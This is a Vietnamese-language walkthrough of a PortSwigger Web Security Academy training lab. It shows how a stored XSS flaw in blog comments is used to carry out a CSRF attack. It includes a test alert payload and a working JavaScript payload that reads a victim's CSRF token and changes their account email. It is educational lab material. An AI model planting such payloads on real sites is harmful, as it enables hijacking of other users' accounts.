### Web Academy PortSwigger * Lab: [Lab: Exploiting XSS to perform CSRF](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf) * Descript: This lab contains a stored XSS vulnerability in the blog comments function * To solve the lab, exploit the vulnerability to perform a CSRF attack and change the email address of someone who views the blog post comments. * Solved and Writeup by Me ^^! * ![Ảnh chụp màn hình 2023-11-24 110205](https://hackmd.io/_uploads/HyXlGo64T.png) Đọc mô tả bên trên ,bài lab có lỗ hổng stored-XSS trong phần comments, lỗ hổng khá nghiêm trọng ảnh hưởng đến nhiều người dùng. Để giải quyết bài lab, thực hiện khai thác XSS vuln để thực hiện tấn công Cross-Site Request Forgery(CSRF) để thay đổi email người dùng. Truy cập lab ,ta có giao diện quen thuộc sau: ![Ảnh chụp màn hình 2023-11-24 112033](https://hackmd.io/_uploads/rk9bUsTNp.png) --- ![Ảnh chụp màn hình 2023-11-24 113221](https://hackmd.io/_uploads/S1TPDoTNT.png) *Hình ảnh do hạn chế kích thước =<<* --- Truy cập vào bài post bất kỳ ,thử test XSS trong phần comment: `<script>alert(":((")</script>` ![Ảnh chụp màn hình 2023-11-24 112553](https://hackmd.io/_uploads/HJARdiaET.png) Xem source page: ![Ảnh chụp màn hình 2023-11-24 114035](https://hackmd.io/_uploads/SJBwYjp4a.png) Ta xác nhận lab tồn tại stored-XSS. Trang web có xác thực csrf, tiến hành xây dựng một đoạn script lấy csrf nhằm thực hiện cuộc tấn công CSRF: --- ``` <script> fetch('/my-account') (1) .then(response => response.text()) .then(responseText => { var csrfValue = responseText.match(/name="csrf" value="(\w+)"/)[1]; fetch('/my-account/change-email', { (2) method: 'POST', body: 'csrf=' + csrfValue + '&email=ahihihihi@gmail.com', }); }) </script> ``` --- Giải thích từng phần đoạn script trên: **(1)** Ta sử dụng fetch() trong Javascript để thực hiện GET request đến `/my-account` * Sử dụng phương thức `then(response=>response.text())` để chuyển đổi response từ fetch() sang dạng text * Xử lý kết quả từ `response.text` , sử dụng `match()` cùng với biểu thức chính quy để tìm kiếm `csrf` trên trang , gán giá trị cho biến `csrfValue` **(2)** Sau khi thu được giá trị của `csrf token` , ta sử dụng `fetch()` để tạo `POST` request, giả mạo yêu cầu đổi email với `token csrf` vừa thu được: * Tạo `POST` request tới page `/my-account/change-email`: * Gửi nội dung xác thực với `crsf token` trong thuộc tính `body` Paste đoạn script trên vào một comment post bất kỳ và Enter!! --- ![Ảnh chụp màn hình 2023-11-24 121534](https://hackmd.io/_uploads/B1hbX3pN6.png) --- Thông báo hiện ra , Lab đã được giải quyết! ![Ảnh chụp màn hình 2023-11-24 121610](https://hackmd.io/_uploads/S1CGmh6Ep.png) --- Nhấn `Back to blog` để thực thi script , sau đó vào `My account` để kiểm tra : ![Ảnh chụp màn hình 2023-11-24 122427](https://hackmd.io/_uploads/BkEQ4n6Np.png) Có lỗi về tên :<< , Email chưa được thay đổi (vẫn là email mặc định) , ta thực hiện lại script với `email = ahihihihi123@gmail.com`: --- ![Ảnh chụp màn hình 2023-11-24 123120](https://hackmd.io/_uploads/HywFB3TET.png) Yeahhhh! Email đã đổi thành `ahihihihi123@gmail.com` *Note: Có thể xử dụng `XMLHttpRequest()` (ES3) để thay thế , nhưng dùng `fetch()` hiện đại hơn (ES6) , code sẽ dễ nhìn ,gọn hơn!*